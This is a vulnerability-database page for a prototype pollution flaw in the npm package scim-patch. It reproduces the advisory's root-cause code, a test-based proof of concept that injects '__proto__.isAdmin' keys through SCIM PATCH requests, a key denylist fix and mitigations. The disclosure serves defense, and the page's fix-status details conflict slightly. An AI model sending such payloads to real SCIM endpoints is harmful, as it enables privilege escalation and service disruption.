CVE-2026-48170

CRITICALPre-NVD 9.19.1
EchelonGraph scoreLOW confidence

This critical-severity CVE scores 9.1 under the CNA's CVSS (NVD's own analysis pending). EPSS exploit-prediction score not yet available (the EPSS model rescores nightly; freshly-published CVEs typically appear within 48 hours). GitHub Security Advisory data not yet ingested — confidence will rise once GHSA publishes (typical lag: hours to days for open-source ecosystem CVEs; never for infrastructure-only CVEs).

Triggered by: NVD CVSS baseline
Sources: cna:github_m
9.1EG
EchelonGraph verdictPlan a fixSerious severity, but no confirmed exploitation yet.
  • High severity, but no confirmed exploitation yet
CISA-KEV: Not listedEPSS PROB: CVSS: 9.1Exploit: None knownExposed: 0

No vendor fix yet — apply a workaround or compensating control (WAF / firewall / segmentation) and watch for a patch.

scimPatch vulnerable to prototype pollution via unfiltered keys in patch

Summary

scim-patch performs prototype pollution when applying a SCIM PATCH operation whose value object contains a key like "__proto__.someProp". After one such patch, Object.prototype.someProp is set process-wide, affecting every plain object in the Node process.

Any service that calls scimPatch() on attacker-controlled JSON (i.e. any SCIM endpoint accepting PATCH from an external IdP) is exploitable on a stock Node runtime.

Impact

  • Class: Prototype pollution (CWE-1321)
  • Affected versions: <= 0.9.0 (current HEAD 871b1e2)
  • Attack vector: Network — sent as part of a normal SCIM PATCH /Users/:id request body.
  • Privileges required: Whatever the SCIM endpoint requires. For most integrations that's a provisioned IdP, which is "low" in CVSS terms (any authenticated provisioning client).
  • Scope: Changed — the bug is in a SCIM library but the side effect (Object.prototype mutation) leaks into the entire Node process.

Downstream consequences depend on what other code reads from plain objects. Realistic outcomes observed in similar bugs:

  • Privilege escalation if any auth/middleware code checks actor.isAdmin / req.user.admin / similar boolean flags against a plain object that *expects* the key to be absent.
  • Logic bypass / DoS if any code branches on obj.name, obj.type, obj.id etc. against plain objects (e.g. pg's prepared-statement naming check — a real incident at one consumer).
  • Persistence: lasts until the Node process restarts, so the blast radius is *every* request that container handles after the pollution.

Root cause

In src/scimPatch.ts:415-427, addOrReplaceObjectAttribute iterates the user-supplied patch.value with Object.entries and feeds each key to resolvePaths, which splits on .:

function addOrReplaceObjectAttribute(property: any, patch: ScimPatchAddReplaceOperation, multiValuedPathFilter?: boolean): any {
    if (typeof patch.value !== 'object') { ... }

// src/scimPatch.ts:423-427 for (const [key, value] of Object.entries(patch.value)) { assign(property, resolvePaths(key), value, patch.op); } return property; }

assign then walks the resulting key path with no filtering on dangerous keys (src/scimPatch.ts:437-445):

function assign(obj: any, keyPath: Array, value: any, op: string) {
    const lastKeyIndex = keyPath.length - 1;
    for (let i = 0; i < lastKeyIndex; ++i) {
        const key = keyPath[i];
        if (!(key in obj)) {
            obj[key] = {};
        }
        obj = obj[key];   // ← obj["__proto__"] === Object.prototype
    }
    // ... assigns into Object.prototype
}

For keyPath = ["__proto__", "polluted"]:

  • "__proto__" in obj is always true, so the fresh-object branch is skipped.
  • obj = obj["__proto__"] now points to Object.prototype.
  • The final write lands on Object.prototype.polluted.

The same shape works for constructor.prototype keys.

Proof of concept

Drop this in test/prototypePollution.test.ts and run npm run build && npx mocha lib/test/prototypePollution.test.js. Both tests pass against HEAD 871b1e2:

import { scimPatch } from '../src/scimPatch';
import { ScimUser } from './types/types.test';
import { expect } from 'chai';

describe('Prototype pollution via scim-patch', () => { let scimUser: ScimUser;

beforeEach(() => { scimUser = JSON.parse({ "schemas": ["urn:ietf:params:scim:schemas:core:2.0:User"], "id": "tea_4", "userName": "spiderman", "name": { "familyName": "Parker", "givenName": "Peter" }, "active": true, "emails": [{ "value": "spiderman@superheroes.com", "primary": true }], "roles": [], "meta": { "resourceType": "User", "created": "x", "lastModified": "x", "location": "x" } }); });

afterEach(() => { delete (Object.prototype as any).polluted; delete (Object.prototype as any).isAdmin; });

it('pollutes Object.prototype via a value-key containing __proto__', () => { expect(({} as any).polluted).to.equal(undefined);

scimPatch(scimUser, [{ op: 'add', path: 'name', value: { '__proto__.polluted': 'yes' } }]);

expect((Object.prototype as any).polluted).to.equal('yes'); expect(({} as any).polluted).to.equal('yes'); });

it('elevates Object.prototype.isAdmin — the admin-escalation shape', () => { expect(({} as any).isAdmin).to.equal(undefined);

scimPatch(scimUser, [{ op: 'add', path: 'name', value: { '__proto__.isAdmin': true } }]);

expect((Object.prototype as any).isAdmin).to.equal(true); expect(({} as any).isAdmin).to.equal(true); }); });

Suggested fix

Reject the three dangerous keys in assign() before the walk. Minimal patch:

const DANGEROUS_KEYS = new Set(['__proto__', 'constructor', 'prototype']);

function assign(obj: any, keyPath: Array, value: any, op: string) { for (const key of keyPath) { if (DANGEROUS_KEYS.has(key)) { throw new InvalidScimPatchOp(Forbidden key in patch path: ${key}); } } // ... existing logic }

Alternative, slightly safer: switch the walk target to Object.create(null) nodes when creating intermediate objects, and use Object.defineProperty(obj, key, { value, enumerable: true, configurable: true, writable: true }) instead of obj[key] = value for the final write. That defends against future prototype-walking sinks even if a key sneaks past the denylist.

Either approach is a non-breaking change — legitimate SCIM clients never send these keys.

Mitigation for consumers who can't upgrade immediately

Calling Object.freeze(Object.prototype) (and the same on Array.prototype, Function.prototype) at process startup neutralizes this class of bug — assignment to a frozen prototype becomes a silent no-op in sloppy mode or a TypeError in strict mode. Node's --frozen-intrinsics flag does this for built-ins automatically.

Credit

Discovered by Lee Wang (Notion). Reported by David Wu (Notion).

Report authored by Claude. Reviewed by David Wu.

CVSS v3
9.1
EG Score
9.1(low)
EG Risk
45(Track)
EG Risk 45/100SSVC: Track

EG Risk is EchelonGraph's 0–100 priority score: it fuses intrinsic severity with real-world exploitation and automatability so you can rank equal-severity CVEs and fix the most dangerous first. Higher = act sooner. Distinct from the 0–10 EG Score (severity).

How it’s computed
Severity91% × 45%
Exploitation0% × 40%
Automatability30% × 15%
Action: Routine — remediate on your standard cadence.
EPSS PROB
EPSS %ILE
KEV
Not listed

Published

June 22, 2026

Last Modified

June 22, 2026

Vendor Advisories for CVE-2026-48170(1)

These vendors published their own advisory mentioning this CVE — often with vendor-specific remediation steps + affected product lists not in NVD.

Affected Packages

(1 across 1 ecosystem)
npm(1)
PackageVulnerable rangeFixed inDependents
scim-patch0.9.1

Data Freshness Timeline

(refreshed 2× in last 7d / 2× in last 30d)

Each row is a source pipeline that fetched or updated this CVE on that date, with what changed. For example, "NVD update" means NVD published or revised its analysis for this CVE; "MITRE cvelistV5" means we ingested or refreshed it from the CNA feed. Most recent first.

  1. 2026-07-26 15:56 UTCEG score recompute
  2. 2026-07-23 03:18 UTCEG score recompute
  3. 2026-06-22 23:31 UTCEG score recompute

Frequently asked(4)

What is CVE-2026-48170?
CVE-2026-48170 is a critical vulnerability published on June 22, 2026. scimPatch vulnerable to prototype pollution via unfiltered keys in patch Summary scim-patch performs prototype pollution when applying a SCIM PATCH operation whose value object contains a key like "proto.someProp". After one such patch, Object.prototype.someProp is set process-wide, affecting every…
When was CVE-2026-48170 disclosed?
CVE-2026-48170 was first published in the National Vulnerability Database on June 22, 2026. EchelonGraph re-ingests CVE updates from NVD on a 2-hour cycle, so this page reflects the latest published state.
What is the CVSS score of CVE-2026-48170?
CVE-2026-48170 has a CVSS v4.0 base score of 9.1 (CNA self-assessment; NVD's own analysis pending). The EG score is currently aggregating — additional source signals are being incorporated as they become available..
How do I remediate CVE-2026-48170?
Patch to the fixed version published by the affected vendor. Where vendor advisories exist for CVE-2026-48170, EchelonGraph cross-links them in the Vendor Advisories panel below — those typically contain the canonical remediation steps, fixed version numbers, and any vendor-specific mitigations.

Dependency Blast Radius

See which npm, PyPI, Go, and Maven packages are affected by CVE-2026-48170

Explore →

Is Your Infrastructure Affected by CVE-2026-48170?

EchelonGraph automatically scans your cloud infrastructure and maps CVE exposure using blast radius analysis.